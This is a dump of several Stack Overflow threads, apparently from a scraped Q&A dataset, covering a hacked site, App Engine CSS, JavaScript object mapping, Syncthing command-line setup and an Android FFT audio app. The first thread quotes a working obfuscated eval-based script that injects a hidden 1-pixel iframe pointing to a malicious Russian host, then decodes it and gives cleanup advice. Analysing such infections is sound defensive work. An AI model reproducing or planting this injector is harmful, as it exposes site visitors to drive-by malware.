echo "<script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0x\";a=0;try{a&=2}catch(q){a=1}if(!a){try{document[\"body\"]^=~1;}catch(q){a2=\"!\"}z=\"2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42\".split(a2);s=\"\";if(window.document)for(i=0;i<z.length;i++) {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>";
#/ded509#
?>
```
This code is injected in all js files and main files, I changed ftp passwords, I checked cron jobs, and manually I looked up for any php code (I am feeling like some php code is doing this) but I am unable to figure it out, and yeah I tried to decode this code and tried to get the functionality for this code, yet removing this malicious code from my js files will make my site fine for some time, but after a random time the scripts will auto injected with this code ? what is this js code actually ? It will be very helpful if somebody explains what is actually going on ? | 2013/04/24 | [
"https://Stackoverflow.com/questions/16184782",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2049618/"
] | That PHP echo this
```
<script type="text/javascript" language="javascript" > e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++) {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>
```
In readable form it looks like this
```
e = eval;
v = "0x";
a = 0;
try {
a &= 2
} catch (q) {
a = 1
}
if (!a) {
try {
document["body"] ^= ~1;
} catch (q) {
a2 = "!"
}
z = "2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);
s = "";
if (window.document) for (i = 0; i < z.length; i++) {
s += String.fromCharCode(e(v + (z[i])) - 7);
}
zaz = s;
e(zaz);
}
```
In the above code `e` is the function `eval`
If we remove eval and prints the contents of `zaz` it will look like this.
```
(function () {
var c = document.createElement('iframe');
c.src = 'http://jakyskyf.ru/count16.php';
c.style.position = 'absolute';
c.style.border = '0';
c.style.height = '1px';
c.style.width = '1px';
c.style.left = '1px';
c.style.top = '1px';
if (!document.getElementById('c')) {
document.write('<div id=\'c\'></div>');
document.getElementById('c').appendChild(c);
}
})();
```
Its a self executing anonymous function. The script creates an iframe in your page and load contents from `http://jakyskyf.ru/count16.php`
If your server is hosted in a shared server maybe the admin account itself is compromised.
**Things you can do.**
* Your best place to check is server logs. Check for some malicious entries.
* Check with your hosting provider.
* Change your password to a strong password.
* Normally in wordpress sites this thing happends (it happened in lot of my wordpress sites). If you are using wordpress update to latest version.
* Change the admin username from `admin` to someother name.
* Change your admin email and password. Hacker might have changed it.
**These links will provide you more inputs**
* [Iframe Virus](http://en.wikipedia.org/wiki/Iframe_virus)
* [Iframe injection attack](https://stackoverflow.com/questions/11955634/iframe-injection-attack-followed-us-to-new-server)
* [Server wide iFrame injection attacks](http://blog.unmaskparasites.com/2012/08/13/rfi-server-wide-iframe-injections/)
* [Hidden iFrame injection attacks](http://diovo.com/2009/03/hidden-iframe-injection-attacks/) | You'll have to change the permissions of your root directory files or the files that are being repeatedly hacked to 444. Make sure you change permissions of all index.php/html files and .htaccess files to read only. Also giving a 555 permission js directory and files would help.
This is the quick solution to stop being spammed again and again. To find the root of this you'll have to check your database entries for common forms like contact\_us etc which might be taking scripts without proper sanitization filters. Also remove any unknown files from your root directory. |
9,133,982 | I recently deployed my app engine app and when I went to check it, the css was not showing in Chrome or in my Iphone Safari browser. I simply redeployed (no code changes at all) and now the site is running fine. What is going on here? Is this a bug, or is something wrong with my code but only sometimes? | 2012/02/03 | [
"https://Stackoverflow.com/questions/9133982",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/190629/"
] | I am experiencing the same issue, sometimes css - sometimes not Interestingly enough, if I use chrome, and select "Request Desktop Site" from the menu, my css loads fine.
I would assume this is something to do with the headers sent in the request, specifying the browser to be mobile.
I'll investigate further and update my answer when I have a solid solution, just a bit of food for thought for now. | Sounds like a deployment problem. Speaking in generalities, code doesn't "sometimes" work unless it's written that way.. in which case it's working 100% of the time :) |
9,133,982 | I recently deployed my app engine app and when I went to check it, the css was not showing in Chrome or in my Iphone Safari browser. I simply redeployed (no code changes at all) and now the site is running fine. What is going on here? Is this a bug, or is something wrong with my code but only sometimes? | 2012/02/03 | [
"https://Stackoverflow.com/questions/9133982",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/190629/"
] | I am experiencing the same issue, sometimes css - sometimes not Interestingly enough, if I use chrome, and select "Request Desktop Site" from the menu, my css loads fine.
I would assume this is something to do with the headers sent in the request, specifying the browser to be mobile.
I'll investigate further and update my answer when I have a solid solution, just a bit of food for thought for now. | This has happened to me when the css is cached and out of date. Your browser cannot detect that the css file has changed, and doesn't bother reloading it. Could it be that the CSS showed up the second time, not because you redeployed, but because your browsers were refreshed? |
71,635,991 | I need to pick few keys and values (only name and age) from below array of objects.
```
const studentList = [{"id": "1", "name": "s1". "age": 10, "gender" : "m", "subject": "Maths"},{"id": "2", "name": "s2". "age": 11, "gender" : "m", "subject": "Maths"}]
```
I can achieve that using map and lodash pick as in below.
```
let nameAndAgeList = studentList.map(student => pick(student, ["name", "age"]));
```
But is there any more easy way with only using map. I know we can retrieve only one property as in below.
```
let nameArr = (studentList).map(({ name }) => name);
```
But how can we retrieve both name and age using map? Or any more easy & best ways with es6+ | 2022/03/27 | [
"https://Stackoverflow.com/questions/71635991",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15788977/"
] | The `studentList` assignment is not valid (it contains dots instead of comma). Corrected in the snippet. You can map `name` and `age` in one go using:
```js
const studentList = [
{"id": "1", "name": "s1", "age": 10, "gender" : "m", "subject": "Maths"},
{"id": "2", "name": "s2", "age": 11, "gender" : "m", "subject": "Maths"}];
console.log( studentList.map( ({name, age}) => ({name, age}) ) );
``` | You can retrieve multiple properties, just like in the example below.
```js
const studentList = [{"id": "1", "name": "s1", "age": 10, "gender" : "m", "subject": "Maths"},{"id": "2", "name": "s2", "age": 11, "gender" : "m", "subject": "Maths"}]
let nameArr = (studentList).map(({ name, age }) => {
return {'name': name, 'age': age}
});
console.log(nameArr)
``` |
1,397,683 | How can I configure Syncthing from command line to share a folder with another computer with a specific ID?
Hello,
Having looked in a bit into the matter, using Syncthing from command line on Linux seems to be possible but requires either editing the configuration file or using the REST API.
How can I configure Syncthing to share a specific folder on the server computer with another computer that has a specific ID?
Vesa
Platform: Linux
Restrictions: Looking for scriptable solution without using the GUI | 2019/01/23 | [
"https://superuser.com/questions/1397683",
"https://superuser.com",
"https://superuser.com/users/610400/"
] | I think with the following commands you should be able to write a script for that.
We have a local machine and a Server. I assume you have ssh access to the Server.
Get your ID and the Server's ID with
```
syncthing cli show system | jq .myID
```
On the Server
```
syncthing cli config devices add --device-id $LocalID
```
On the local machine
```
syncthing cli config devices add --device-id $ServerID
```
Get the folder IDs
```
syncthing cli config folders list
```
Check if it is the intended path (e.g. in a loop)
```
syncthing cli config folders $folderID dump-json | jq .path
```
or dump the whole config (`syncthing cli config dump-json`) and select the folder from there
```
syncthing cli config dump-json | jq '.folders[] | select(.path == "/home/you/your/path") | .id'
```
now share this folder with the server
```
syncthing cli config folders $folderID devices add --device-id $ServerID
```
The only thing left is, that you have to accept the shared folder on the Server. (As I didn't find the right command for that yet. Maybe you will?) | Sorry, I couldn't find the answer to this question either. The best I could do was to [open an SSH tunnel](https://help.ubuntu.com/community/SSH/OpenSSH/PortForwarding), so that I could temporarily access the server's web GUI from my local computer:
```
ssh -L 8080:localhost:8384 your.host.name
```
Then you can access the remote web GUI from http://localhost:8080 |
1,397,683 | How can I configure Syncthing from command line to share a folder with another computer with a specific ID?
Hello,
Having looked in a bit into the matter, using Syncthing from command line on Linux seems to be possible but requires either editing the configuration file or using the REST API.
How can I configure Syncthing to share a specific folder on the server computer with another computer that has a specific ID?
Vesa
Platform: Linux
Restrictions: Looking for scriptable solution without using the GUI | 2019/01/23 | [
"https://superuser.com/questions/1397683",
"https://superuser.com",
"https://superuser.com/users/610400/"
] | I think with the following commands you should be able to write a script for that.
We have a local machine and a Server. I assume you have ssh access to the Server.
Get your ID and the Server's ID with
```
syncthing cli show system | jq .myID
```
On the Server
```
syncthing cli config devices add --device-id $LocalID
```
On the local machine
```
syncthing cli config devices add --device-id $ServerID
```
Get the folder IDs
```
syncthing cli config folders list
```
Check if it is the intended path (e.g. in a loop)
```
syncthing cli config folders $folderID dump-json | jq .path
```
or dump the whole config (`syncthing cli config dump-json`) and select the folder from there
```
syncthing cli config dump-json | jq '.folders[] | select(.path == "/home/you/your/path") | .id'
```
now share this folder with the server
```
syncthing cli config folders $folderID devices add --device-id $ServerID
```
The only thing left is, that you have to accept the shared folder on the Server. (As I didn't find the right command for that yet. Maybe you will?) | I found a solution to your problem. I documented how to do it in this gist: <https://gist.github.com/Jonny-exe/9bad76c3adc6e916434005755ea70389>
If you don't want to read the whole gist, here are the main commands:
`syncthing cli config devices add --device-id $DEVICE_ID_B`
`syncthing cli config folders $FOLDER_ID devices add $DEVICE_ID_B`
`syncthing cli config devices $DEVICE_ID_A auto-accept-folders set true`
These commands are explained in the gist |
34,674 | Let's say I have standard scenario of commerce site that has categories on the left and items on the right.
What I would like to do is that when user clicks on category it will pass it's ID to js, js will get all items from API by using that id and load them very prettily to my content.
It looks all cool and pro but what is the situation from SEO point of view?
AFAIK google bot enters my site, sees I have span with categories and that's all? | 2012/09/18 | [
"https://webmasters.stackexchange.com/questions/34674",
"https://webmasters.stackexchange.com",
"https://webmasters.stackexchange.com/users/11428/"
] | What URL can users bookmark to get back to that *item* and tell their friends? What URL can search engines index to show that item in the SERPs?
I would have said that an e-commerce site should be implemented initially so that it *works* without any JavaScript at all. You click a category (an HTML anchor) that makes another request and the server returns a page with the items in that category. Your site is SEO'd and works for everyone. Your site *is* "pro".
You then want to make it more whizzy and implement AJAX as a *progressive enhancement*. If JavaScript is available and AJAX ready then assign behaviours that override the default action of the anchors that submit requests to the server. The requests are now submitted by JavaScript, but the underlying search engine friendly HTML is still the same. Your site *looks* "pro".
When developing the site in the beginning keep in mind that you'll want to implement AJAX on top later. | You can use lynx or the tool in google webmaster tools to show you what google is seeing.
(The content you load via AJAX will not be seen by crawlers).
PS, you should also keep in mind that not every user has javascript enabled. |
3,435,502 | Let us suppose $x\_1,...,x\_n$ be $n$ nodes and we interpolate the functions $f$ with lagrange polynomial
Then my book says $$\int\_a^b f(x) dx=\sum A\_i f(x\_i), A\_i=\int\_a^b l\_i(x)dx $$where $ l\_i(x\_j) = \delta\_{ij}$
for all polynomial for degree at most n. Certainly this is true for polynomial of degree $n$, because there is unique polynomial of degree n passing through these points, but why it has to be true for polynomial of degree less than $n$? | 2019/11/14 | [
"https://math.stackexchange.com/questions/3435502",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/517603/"
] | Just like with linear differential equations, you have to find a particular solution of the non-homogeneous recurrence equation, and add it to the general solution of the homogeneous recurrence equation.
Now the non-homogeneous part has the standard form of an exponential times a linear polynomial. So a particular solution we're seeking for will have the form $y\_n=p(n)(-2)^n$, where $\deg p$ has degree $1$ more, because $-2$ is a simple root of the characteristic equation:
$$y\_n=(\alpha n^2+\beta n)(-2)^n$$
Can you proceed now? | Hint
WLOG $a\_m=b\_m+c\_0+c\_1m+\cdots$
Replace the values of $a\_j, j=n,n+1,n+2$ and compare the coefficients of $n^0,n^1,n^2$
to find $c\_j=0\forall j\ge2$ and the values of $c\_0,c\_1$
so that $$b\_{n+2}-5b\_{n+1}-14b\_n=0$$ |
53,202,892 | 1. I want to remove border of QToolButton when mouse hover.
[](https://i.stack.imgur.com/ndGDE.png)
2. I want to change icon image of QAction when press QToolButton.
[](https://i.stack.imgur.com/94FqU.png)
i changed stylesheet for QToolButton but it is not working, please help
---
1. I want to remove border of QToolButton when mouse hover.
I changed stylesheet for QToolButton
>
> QToolButton:hover{
> border: none;
> }
>
> QToolButton:pressed{
> border: none;
> }
>
>
>
but it display border bottom and button move to left like image
[](https://i.stack.imgur.com/ZUBMr.png) | 2018/11/08 | [
"https://Stackoverflow.com/questions/53202892",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5977835/"
] | For a “Warm-up”, I started with a `QPushButton`. This class provides the signals `pressed()` and `released()` which can be used to change the icon resp.
`testQPushButtonDownUp.cc`:
```
#include <QtWidgets>
int main(int argc, char **argv)
{
qDebug() << "Qt Version:" << QT_VERSION_STR;
QApplication app(argc, argv);
// build UI
QIcon qIconBtn("dialog-info.svg");
QIcon qIconBtnDown("dialog-error.svg");
QPushButton qBtn(qIconBtn, QString::fromUtf8("Click Me."));
qBtn.show();
// install signal handlers
QObject::connect(&qBtn, &QPushButton::pressed,
[&qBtn, &qIconBtnDown]() { qBtn.setIcon(qIconBtnDown); });
QObject::connect(&qBtn, &QPushButton::released,
[&qBtn, &qIconBtn]() { qBtn.setIcon(qIconBtn); });
// runtime loop
return app.exec();
}
```
`testQPushButtonDownUp.pro`:
```none
SOURCES = testQPushButtonDownUp.cc
QT += widgets
```
Compiled and tested in [cygwin64](http://www.cygwin.org) on Windows 10:
```none
$ qmake-qt5 testQPushButtonDownUp.pro
$ make && ./testQPushButtonDownUp
Qt Version: 5.9.4
```
[](https://i.stack.imgur.com/o2w5c.png) [](https://i.stack.imgur.com/Aoc1g.png)
This was easy. Applying the same to `QAction` is a bit more complicated – `QAction` provides only one signal `triggered()`. I didn't check whether it's emitted for `pressed()` or `released()` – one of the both needed signals is surely missing.
To solve this, I used [`QAction::associatedWidgets()`](http://doc.qt.io/qt-5/qaction.html#associatedWidgets) which
>
> Returns a list of widgets this action has been added to.
>
>
>
This list is scanned for every occurrence of `QToolButton` which (is derived from `QAbstractButton` as well as `QPushButton` and) provides the same signals.
`testQToolButtonDownUp.cc`:
```
#include <QtWidgets>
void connectAction(QAction &qCmd, const QIcon &qIconDown, const QIcon &qIconUp)
{
QList<QWidget*> pQWidgets = qCmd.associatedWidgets();
for (QWidget *pQWidget : pQWidgets) {
QToolButton *pQBtn = dynamic_cast<QToolButton*>(pQWidget);
if (!pQBtn) continue;
QObject::connect(pQBtn, &QToolButton::pressed,
[pQBtn, qIconDown]() { pQBtn->setIcon(qIconDown); });
QObject::connect(pQBtn, &QToolButton::released,
[pQBtn, qIconUp]() { pQBtn->setIcon(qIconUp); });
}
}
int main(int argc, char **argv)
{
qDebug() << "Qt Version:" << QT_VERSION_STR;
QApplication app(argc, argv);
// build UI
QToolBar qToolbar;
QIcon qIconBtn("dialog-info.svg");
QIcon qIconBtnDown("dialog-error.svg");
QAction qCmd(qIconBtn, QString::fromUtf8("Click Me."));
qToolbar.addAction(&qCmd);
qToolbar.show();
// install signal handlers
connectAction(qCmd, qIconBtnDown, qIconBtn);
// runtime loop
return app.exec();
}
```
`testQToolButtonDownUp.pro`:
```none
SOURCES = testQToolButtonDownUp.cc
QT += widgets
```
Compiled and tested again in [cygwin64](http://www.cygwin.org) on Windows 10:
```none
$ qmake-qt5 testQToolButtonDownUp.pro
$ make && ./testQToolButtonDownUp
Qt Version: 5.9.4
```
[](https://i.stack.imgur.com/81TQ7.png) [](https://i.stack.imgur.com/pwj6k.png)
This works but is a bit maintenance-unfriendly – the `connectAction()` function has to be called after the `QAction` has been added to all widgets. (Double-calling it for the same instance of `QAction` might need additional effort to prevent duplicated signal handlers for the same instance of `QToolButton`.)
It would be nice to connect new `QToolButton`s automatically as soon as the associated widgets of such a resp. `QAction` have been changed. I scrolled through the doc. up and down to find something appropriate – without luck. I tried whether the [`QAction::changed()`](http://doc.qt.io/qt-5/qaction.html#changed) signal might provide the required behavior (although the doc. gave less hope) but it didn't work.
Finally, I decided to turn it around – i.e. detecting when a `QAction` is added to a `QToolButton`. However, in my code I add the `QAction` to a `QToolBar` and the resp. `QToolButton` appears automatically. Thus, I made an [event filter](http://doc.qt.io/qt-5/eventsandfilters.html#event-filters), installed to [`qApp`](http://doc.qt.io/qt-5/qapplication.html#qApp). This event filter will receive any event and, hence, is good to detect any `QAction` added to any `QWidget`. All I've to do additionally, is to filter these events for `QAction`s and `QToolButton`s where the down-up icons are required for.
`testQActionDownUp.cc`:
```
#include <set>
#include <QtWidgets>
class Action: public QAction {
public:
class FilterSingleton: public QObject {
private:
std::set<Action*> _pActions;
public:
FilterSingleton(): QObject()
{
qApp->installEventFilter(this);
}
~FilterSingleton() { qApp->removeEventFilter(this); }
FilterSingleton(const FilterSingleton&) = delete;
FilterSingleton& operator=(const FilterSingleton&) = delete;
void addAction(Action *pAction)
{
_pActions.insert(pAction);
}
bool removeAction(Action *pAction)
{
_pActions.erase(pAction);
return _pActions.empty();
}
protected:
virtual bool eventFilter(QObject *pQObj, QEvent *pQEvent) override;
};
private:
static FilterSingleton *_pFilterSingleton;
private:
QIcon _qIcon, _qIconDown;
public:
Action(
const QIcon &qIcon, const QIcon &qIconDown, const QString &text,
QObject *pQParent = nullptr);
~Action();
Action(const Action&) = delete;
Action& operator=(const Action&) = delete;
private:
void addToolButton(QToolButton *pQBtn)
{
QObject::connect(pQBtn, &QToolButton::pressed,
[pQBtn, this]() { pQBtn->setIcon(_qIconDown); });
QObject::connect(pQBtn, &QToolButton::released,
[pQBtn, this]() { pQBtn->setIcon(_qIcon); });
}
};
bool Action::FilterSingleton::eventFilter(QObject *pQObj, QEvent *pQEvent)
{
if (QToolButton *pQBtn = dynamic_cast<QToolButton*>(pQObj)) {
if (pQEvent->type() == QEvent::ActionAdded) {
qDebug() << "Action::eventFilter(QEvent::ActionAdded)";
QAction *pQAction = ((QActionEvent*)pQEvent)->action();
if (Action *pAction = dynamic_cast<Action*>(pQAction)) {
pAction->addToolButton(pQBtn);
}
}
}
return QObject::eventFilter(pQObj, pQEvent);
}
Action::FilterSingleton *Action::_pFilterSingleton;
Action::Action(
const QIcon &qIcon, const QIcon &qIconDown, const QString &text,
QObject *pQParent):
QAction(qIcon, text, pQParent),
_qIcon(qIcon), _qIconDown(qIconDown)
{
if (!_pFilterSingleton) _pFilterSingleton = new FilterSingleton();
_pFilterSingleton->addAction(this);
}
Action::~Action()
{
if (_pFilterSingleton->removeAction(this)) {
delete _pFilterSingleton;
_pFilterSingleton = nullptr;
}
}
int main(int argc, char **argv)
{
qDebug() << "Qt Version:" << QT_VERSION_STR;
QApplication app(argc, argv);
// build UI
QMainWindow qWin;
QToolBar qToolbar;
QIcon qIconBtn("dialog-info.svg");
QIcon qIconBtnDown("dialog-error.svg");
Action qCmd(qIconBtn, qIconBtnDown, QString::fromUtf8("Click Me."));
qToolbar.addAction(&qCmd);
qWin.addToolBar(&qToolbar);
QToolBar qToolbar2;
qWin.setCentralWidget(&qToolbar2);
qWin.show();
QTimer qTimer;
qTimer.setInterval(5000); // 5000 ms = 5s
qTimer.start();
// install signal handlers
int i = 0;
QObject::connect(&qTimer, &QTimer::timeout,
[&i, &qToolbar2, &qCmd]() {
if (++i & 1) qToolbar2.addAction(&qCmd);
else qToolbar2.removeAction(&qCmd);
});
// runtime loop
return app.exec();
}
```
There is a class `Action` (derived from `QAction`) to bundle everything necessary together. The class `Action` uses internally a singleton (of class `Action::FilterSingleton`), so that one event filter is shared between all instances of `Action`.
A `QTimer` is used to add/remove the sample `Action qCmd` periodically to `QToolBar qToolbar2` to test/demostrate whether the auto-management works properly.
`testQActionDownUp.pro`:
```none
SOURCES = testQActionDownUp.cc
QT += widgets
```
Compiled and tested again in [cygwin64](http://www.cygwin.org) on Windows 10:
```none
$ qmake-qt5 testQActionDownUp.pro
$ make && ./testQActionDownUp
Qt Version: 5.9.4
```
[](https://i.stack.imgur.com/b8WLt.png) [](https://i.stack.imgur.com/UG0A0.png)
[](https://i.stack.imgur.com/NdfK9.png) [](https://i.stack.imgur.com/4ZeNS.png) | For remove border of QToolButton you can use style sheet like this ( i tested it is work ):
```
QToolButton { border: 0px;}
QToolButton:pressed {background-color: red;}
```
It is remove border and fill background of pressed tool button.
You can not change image of pressed button because usally we add QAction on QToolBar in QtDesignet, and need to change QAction image, but QAction have not signal from "pressed" like in QPushButton.
But if you adding QToolButton to QToolBar manually - you can do that, because QToolButton have signal "pressed" and have property "icon". In some slot connected to "pressed" signal you can change it. |
5,511,250 | I'm new in Android and I'm trying to make a program which captures an audio sound and then displays the frequencies that exist within it. I found an example that draws the graphic portion of a graphic equalizer. In this example it is used an object of type
AudioRecord to capture audio sound. The technique used to break an audio signal down into component frequencies employs a mathematic transformation called a discrete Fourier transform (DFT) and to perform DFT it is used a fast Fourier transform (FFT). This example use a package which implements the FFT. The package is linked here [www.netlib.org/fftpack/jfftpack.tgz](http://www.netlib.org/fftpack/jfftpack.tgz).
The problem is that after I run this example the graphic equalizer doesn't appear on the display after I press the start button.
Here is the source code for the activity class:
```
package com.audio.processing;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.ImageView;
import ca.uol.aig.fftpack.RealDoubleFFT;
public class AudioProcessing extends Activity implements OnClickListener{
int frequency = 8000;
int channelConfiguration = AudioFormat.CHANNEL_CONFIGURATION_MONO;
int audioEncoding = AudioFormat.ENCODING_PCM_16BIT;
private RealDoubleFFT transformer;
int blockSize = 256;
Button startStopButton;
boolean started = false;
RecordAudio recordTask;
ImageView imageView;
Bitmap bitmap;
Canvas canvas;
Paint paint;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
startStopButton = (Button) this.findViewById(R.id.StartStopButton);
startStopButton.setOnClickListener(this);
transformer = new RealDoubleFFT(blockSize);
imageView = (ImageView) this.findViewById(R.id.ImageView01);
bitmap = Bitmap.createBitmap((int)256,(int)100,Bitmap.Config.ARGB_8888);
canvas = new Canvas(bitmap);
paint = new Paint();
paint.setColor(Color.GREEN);
imageView.setImageBitmap(bitmap);
}
private class RecordAudio extends AsyncTask<Void, double[], Void> {
@Override
protected Void doInBackground(Void... params) {
try {
int bufferSize = AudioRecord.getMinBufferSize(frequency,
channelConfiguration, audioEncoding);
AudioRecord audioRecord = new AudioRecord(
MediaRecorder.AudioSource.DEFAULT, frequency,
channelConfiguration, audioEncoding, bufferSize);
short[] buffer = new short[blockSize];
double[] toTransform = new double[blockSize];
audioRecord.startRecording();
while (started) {
int bufferReadResult = audioRecord.read(buffer, 0, blockSize);
for (int i = 0; i < blockSize && i < bufferReadResult; i++) {
toTransform[i] = (double) buffer[i] / 32768.0; // signed 16 bit
}
transformer.ft(toTransform);
publishProgress(toTransform);
}
audioRecord.stop();
} catch (Throwable t) {
Log.e("AudioRecord", "Recording Failed");
}
return null;
}
}
protected void onProgressUpdate(double[]... toTransform) {
canvas.drawColor(Color.BLACK);
for (int i = 0; i < toTransform[0].length; i++) {
int x = i;
int downy = (int) (100 - (toTransform[0][i] * 10));
int upy = 100;
canvas.drawLine(x, downy, x, upy, paint);
}
imageView.invalidate();
}
public void onClick(View v) {
if (started) {
started = false;
startStopButton.setText("Start");
recordTask.cancel(true);
} else {
started = true;
startStopButton.setText("Stop");
recordTask = new RecordAudio();
recordTask.execute();
}
}
}
```
Here is the main.xml :
```
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello"
/>
<ImageView android:id="@+id/ImageView01" android:layout_width="wrap_content"
android:layout_height="wrap_content"></ImageView><Button android:text="Start"
